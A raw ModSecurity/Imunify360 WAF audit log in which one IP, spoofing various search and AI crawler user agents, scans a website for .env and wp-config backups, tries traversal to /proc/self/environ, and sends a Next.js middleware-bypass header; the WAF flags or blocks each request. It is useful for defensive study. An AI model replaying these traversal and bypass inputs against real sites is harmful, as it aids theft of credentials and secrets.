Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/css../.env"] [unique_id "aqZdNisVWymXUono-eRUUwAAAAs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734240600 82195 (- - -)
Stopwatch2: 1789287734240600 82195; combined=3617, p1=185, p2=3382, p3=0, p4=0, p5=50, sr=76, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d77b4d2f-Z--

--83ca7555-A--
[13/Sep/2026:11:22:14.378089 +0300] aqZdNmM7dE9KgIIOpQhxpAAAAMw 34.80.249.255 53464 127.0.0.1 7081
--83ca7555-B--
GET /js../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--83ca7555-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--83ca7555-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/js../.env"] [unique_id "aqZdNmM7dE9KgIIOpQhxpAAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734205123 173031 (- - -)
Stopwatch2: 1789287734205123 173031; combined=62901, p1=256, p2=62577, p3=0, p4=0, p5=67, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--83ca7555-Z--

--66553e28-A--
[13/Sep/2026:11:22:14.389843 +0300] aqZdNmM7dE9KgIIOpQhxowAAANQ 34.80.249.255 53446 127.0.0.1 7081
--66553e28-B--
GET /dist../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--66553e28-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--66553e28-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/dist../.env"] [unique_id "aqZdNmM7dE9KgIIOpQhxowAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734154294 235605 (- - -)
Stopwatch2: 1789287734154294 235605; combined=4392, p1=243, p2=4097, p3=0, p4=0, p5=52, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--66553e28-Z--

--36e04e4c-A--
[13/Sep/2026:11:22:14.667174 +0300] aqZdNmM7dE9KgIIOpQhxqQAAANc 34.80.249.255 53514 127.0.0.1 7081
--36e04e4c-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--36e04e4c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--36e04e4c-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZdNmM7dE9KgIIOpQhxqQAAANc"]
Action: Intercepted (phase 2)
Stopwatch: 1789287734661417 5806 (- - -)
Stopwatch2: 1789287734661417 5806; combined=4476, p1=275, p2=3922, p3=0, p4=0, p5=279, sr=137, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--36e04e4c-Z--

--60e18916-A--
[13/Sep/2026:11:22:14.708589 +0300] aqZdNmM7dE9KgIIOpQhxpwAAAMk 34.80.249.255 53492 127.0.0.1 7081
--60e18916-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--60e18916-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--60e18916-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZdNmM7dE9KgIIOpQhxpwAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734586007 122665 (- - -)
Stopwatch2: 1789287734586007 122665; combined=5346, p1=220, p2=5055, p3=0, p4=0, p5=67, sr=82, sw=4, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--60e18916-Z--

--387f3628-A--
[13/Sep/2026:11:22:14.729459 +0300] aqZdNmM7dE9KgIIOpQhxqAAAAMI 34.80.249.255 53500 127.0.0.1 7081
--387f3628-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--387f3628-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--387f3628-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZdNmM7dE9KgIIOpQhxqAAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734636148 93383 (- - -)
Stopwatch2: 1789287734636148 93383; combined=6942, p1=290, p2=6584, p3=0, p4=0, p5=67, sr=108, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--387f3628-Z--

--0fd0ee6f-A--
[13/Sep/2026:11:22:14.749040 +0300] aqZdNjTJ6xTvcJoem7f50gAAAEc 34.80.249.255 53504 127.0.0.1 7081
--0fd0ee6f-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0fd0ee6f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0fd0ee6f-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZdNjTJ6xTvcJoem7f50gAAAEc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734651290 97837 (- - -)
Stopwatch2: 1789287734651290 97837; combined=4794, p1=389, p2=4334, p3=0, p4=0, p5=71, sr=108, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0fd0ee6f-Z--

--a1366f7d-A--
[13/Sep/2026:11:22:14.861452 +0300] aqZdNkwu1RSkptiiNIX2xwAAAJM 34.80.249.255 53544 127.0.0.1 7081
--a1366f7d-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a1366f7d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--a1366f7d-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles/x"] [unique_id "aqZdNkwu1RSkptiiNIX2xwAAAJM"]
Action: Intercepted (phase 2)
Stopwatch: 1789287734855945 5557 (- - -)
Stopwatch2: 1789287734855945 5557; combined=4241, p1=220, p2=3719, p3=0, p4=0, p5=302, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a1366f7d-Z--

--5decba69-A--
[13/Sep/2026:11:22:15.026279 +0300] aqZdNisVWymXUono-eRUVAAAAA8 34.80.249.255 53558 127.0.0.1 7081
--5decba69-B--
GET /wp-config.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5decba69-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5decba69-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZdNisVWymXUono-eRUVAAAAA8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZdNisVWymXUono-eRUVAAAAA8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZdNisVWymXUono-eRUVAAAAA8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734908118 118217 (- - -)
Stopwatch2: 1789287734908118 118217; combined=33701, p1=222, p2=33405, p3=0, p4=0, p5=74, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5decba69-Z--

--3c62e44f-A--
[13/Sep/2026:11:22:15.118943 +0300] aqZdNisVWymXUono-eRUVQAAAA0 34.80.249.255 53574 127.0.0.1 7081
--3c62e44f-B--
GET /laravel/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--3c62e44f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3c62e44f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/laravel/.env"] [unique_id "aqZdNisVWymXUono-eRUVQAAAA0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734991953 127048 (- - -)
Stopwatch2: 1789287734991953 127048; combined=4322, p1=230, p2=4035, p3=0, p4=0, p5=57, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3c62e44f-Z--

--572e1869-A--
[13/Sep/2026:11:22:15.131487 +0300] aqZdNmM7dE9KgIIOpQhxqwAAANY 34.80.249.255 53572 127.0.0.1 7081
--572e1869-B--
GET /wp-config.php.old HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--572e1869-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--572e1869-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZdNmM7dE9KgIIOpQhxqwAAANY"]
